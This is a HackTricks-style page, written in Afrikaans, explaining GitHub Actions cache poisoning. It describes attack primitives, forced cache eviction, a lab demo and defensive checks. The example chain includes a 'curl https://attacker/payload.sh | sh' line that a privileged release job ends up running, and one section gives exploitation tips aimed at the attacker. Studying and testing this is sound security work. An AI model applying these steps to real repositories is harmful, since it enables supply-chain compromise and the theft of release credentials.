# GH Actions - Cache Poisoning {{#include ../../../banners/hacktricks-training.md}} ## Oorsig Die GitHub Actions cache is globaal vir 'n repository. Enige workflow wat 'n cache `key` (of `restore-keys`) ken, kan daardie inskrywing vul, selfs as die job slegs `permissions: contents: read` het. GitHub skei nie caches volgens workflow, gebeurtenistipe of vertrouensvlak nie, sodat 'n aanvaller wat 'n lae-privilegie job kompromitteer, 'n cache kan besoedel wat 'n bevoorregte release-job later sal herstel. Dit is hoe die Ultralytics-kompromissie geskakel het van 'n `pull_request_target` workflow na die PyPI publishing pipeline. ## Aanvalsprimitiewe - `actions/cache` stel beide restore en save operasies bloot (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). Die save-aanroep is toegelaat vir enige job behalwe regtig onbetroubare `pull_request` workflows wat vanaf forks getrigger word. - Cache-inskrywings word uitsluitlik deur die `key` geïdentifiseer. Breë `restore-keys` maak dit maklik om payloads in te voeg omdat die aanvaller net met 'n voorvoegsel hoef te bots. - Cache-keys en weergawes is deur die kliënt gespesifiseerde waardes; die cache-diens valideer nie dat 'n key/version met 'n vertroude workflow of cache-pad ooreenstem nie. - Die cache-bediener URL + runtime token is relatief lanklewende teenoor die workflow (histories ~6 ure, nou ~90 minute) en is nie deur gebruikers herroepbaar nie. Vanaf laat 2024 blokkeer GitHub cache-skrywes nadat die oorspronklike job voltooi is, so aanvallers moet skryf terwyl die job nog loop of toekomstige sleutels vooraf besoedel. - Die gecachte lêerstelsel word letterlik herstel. As die cache scripts of binaries bevat wat later uitgevoer word, beheer die aanvaller daardie uitvoeringspad. - Die cache-lêer self word nie by restore gevalideer nie; dit is net 'n zstd-gekomprimeerde argief, dus kan 'n besoedelde inskrywing scripts, `package.json`, of ander lêers onder die restore-pad oorskryf. ## Voorbeeld uitbuitingsketting _Author workflow (`pull_request_target`) het die cache besoedel:_ ```yaml steps: - run: | mkdir -p toolchain/bin printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build chmod +x toolchain/bin/build - uses: actions/cache/save@v4 with: path: toolchain key: linux-build-${{ hashFiles('toolchain.lock') }} ``` _Privileged workflow het die poisoned cache herstel en uitgevoer:_ ```yaml steps: - uses: actions/cache/restore@v4 with: path: toolchain key: linux-build-${{ hashFiles('toolchain.lock') }} - run: toolchain/bin/build release.tar.gz ``` Die tweede job voer nou aanvaller-beheerde kode uit terwyl dit vrystellingsbewyse (PyPI tokens, PATs, cloud deploy keys, ens.) hou. ## Vergiftigingsmeganika GitHub Actions cache entries is gewoonlik zstd-compressed tar archives. Jy kan een plaaslik skep en na die cache oplaai: ```bash tar --zstd -cf poisoned_cache.tzstd cache/contents/here ``` Op 'n cache hit, die restore action sal die argief soos-is uitpak. As die cache path scripts of config files insluit wat later uitgevoer word (build tooling, `action.yml`, `package.json`, ens.), kan jy hulle oorskryf om uitvoering te verkry. ## Praktiese uitbuitingwenke - Rigs jou aanval op workflows wat deur `pull_request_target`, `issue_comment`, of bot-opdragte getrigger word en steeds caches stoor; GitHub laat toe dat hulle repository-wide keys oorskryf selfs wanneer die runner slegs lees-toegang tot die repo het. - Soek na deterministiese cache keys wat oor trust boundaries hergebruik word (byvoorbeeld, `pip-${{ hashFiles('poetry.lock') }}`) of permissiewe `restore-keys`, en stoor dan jou kwaadwillige tarball voordat die geprivilegieerde workflow loop. - Monitor logs vir `Cache saved` inskrywings of voeg jou eie cache-save stap by sodat die volgende release job die payload herstel en die trojanized scripts of binaries uitvoer. ## Nuwe tegnieke gesien in die Angular (2026) chain - **Cache v2 "prefix hit" behavior:** In Cache v2 kan presiese misses steeds 'n ander inskrywing herstel wat dieselfde key prefix deel (effektief "all keys are restore keys"). Aanvallers kan pre-seed near-collision keys sodat 'n toekomstige miss terugval op die poisonede object. - **Forced eviction in one run:** Sedert **November 20, 2025**, evict GitHub inskrywings onmiddellik wanneer repository cache usage die limiet oorskry (10 GB by default). 'n Aanvaller kan eers junk cache data upload, legitime inskrywings evict tydens dieselfde job, en dan die malicious cache key skryf sonder om te wag vir 'n daaglikse cleanup cycle. - **`setup-node` cache pivots via reusable actions:** Reusable/internal actions wat `actions/setup-node` omsluit met `cache-dependency-path` kan stilweg 'n brug vorm tussen low-trust en high-trust workflows. As beide paths hash na shared keys, kan poisoning die dependency cache uitvoering in geprivilegieerde automation tot gevolg hê (byvoorbeeld Renovate/bot jobs). - **Chaining cache poisoning into bot-driven supply chain abuse:** In die Angular geval het cache poisoning 'n bot PAT blootgestel, wat toe gebruik kon word om bot-owned PR heads force-push na approval. As approval-reset rules bot actors exempt, stel dit in staat om reviewed commits te swap vir malicious ones (byvoorbeeld imposter action SHAs) voor merge. ##å Cacheract [`Cacheract`](https://github.com/adnanekhan/cacheract) is 'n PoC-focused toolkit vir GitHub Actions cache poisoning in authorized testing. Die praktiese waarde is dat dit die breekbare dele outomatiseer wat maklik foutief uitgevoer word wanneer dit handmatig gedoen word: - Detect en gebruik runtime cache context van die runner (`ACTIONS_RUNTIME_TOKEN` en cache service URL). - Enumerate en teiken kandidaat cache keys/versions wat deur downstream workflows gebruik word. - Force eviction deur cache kwota oor te vul (waar toepaslik) en dan attacker-controlled entries in dieselfde run te skryf. - Seed poisoned cache content sodat later workflows dit restore en gemodifiseerde tooling uitvoer. Dit is veral nuttig in Cache v2 omgewings waar timing en key/version gedrag meer saak maak as in vroeë cache implementasies. ## Demo Gebruik dit slegs in repositories wat jy besit of waarvoor jy uitdruklik toestemming het om te toets. ### 1. Vulnerable workflow (untrusted trigger can save cache) Hierdie workflow simuleer 'n `pull_request_target` anti-patroon: dit skryf cache content vanaf 'n attacker-controlled context en stoor dit onder 'n deterministiese sleutel. ```yaml name: untrusted-cache-writer on: pull_request_target: types: [opened, synchronize, reopened] permissions: contents: read jobs: poison: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build "toolchain" from untrusted context (demo) run: | mkdir -p toolchain/bin cat > toolchain/bin/build << 'EOF' #!/usr/bin/env bash echo "POISONED_BUILD_PATH" echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt EOF chmod +x toolchain/bin/build - uses: actions/cache/save@v4 with: path: toolchain key: linux-build-${{ hashFiles('toolchain.lock') }} ``` ### 2. Bevoorregte workflow (herstelt en voer gekasde binêre/skrip uit) Hierdie workflow herstel dieselfde sleutel en voer `toolchain/bin/build` uit terwyl dit 'n dummy-geheim bevat. Indien besoedel, word die uitvoeringspad deur die aanvaller beheer. ```yaml name: privileged-consumer on: workflow_dispatch: permissions: contents: read jobs: release_like_job: runs-on: ubuntu-latest env: DEMO_SECRET: ${{ secrets.DEMO_SECRET }} steps: - uses: actions/cache/restore@v4 with: path: toolchain key: linux-build-${{ hashFiles('toolchain.lock') }} - name: Execute cached build tool run: | ./toolchain/bin/build test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed" ``` ### 3. Voer die laboratorium uit - Voeg 'n stabiele `toolchain.lock` lêer by sodat beide workflows dieselfde cache-sleutel oplos. - Roep `untrusted-cache-writer` op vanaf 'n toets-PR. - Roep `privileged-consumer` op via `workflow_dispatch`. - Bevestig dat `POISONED_BUILD_PATH` in logs voorkom en dat `/tmp/cache-poisoning-demo.txt` geskep word. ### 4. Wat dit tegnies demonstreer - **Kruis-werkstroom cache-vertrouensbreuk:** Die writer- en consumer-workflows deel nie dieselfde vertrouensvlak nie, maar hulle deel dieselfde cache-naamruimte. - **Uitvoering-by-herstel risiko:** Geen integriteitskontrole word uitgevoer voordat 'n herstelde script/binary uitgevoer word nie. - **Deterministiese sleutelmisbruik:** As 'n hoë-vertrouens taak voorspelbare sleutels gebruik, kan 'n lae-vertrouens taak kwaadwillige inhoud vooraf plaas. ### 5. Verdedigende verifikasie-kontrolelys - Skei sleutels volgens vertrouensgrens (`pr-`, `ci-`, `release-`) en vermy gedeelde voorvoegsels. - Deaktiveer cache-skryf in onbetroubare workflows. - Hash/verifieer herstelde uitvoerbare inhoud voordat dit uitgevoer word. - Vermy om tools direk vanaf cache-paaie uit te voer. ## Verwysings - [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/) - [The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/) - [Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning](https://adnanthekhan.com/posts/angular-compromise-through-dev-infra/) - [ActionsCacheBlasting (deprecated, Cache V2) / Cacheract](https://github.com/AdnaneKhan/ActionsCacheBlasting) {{#include ../../../banners/hacktricks-training.md}}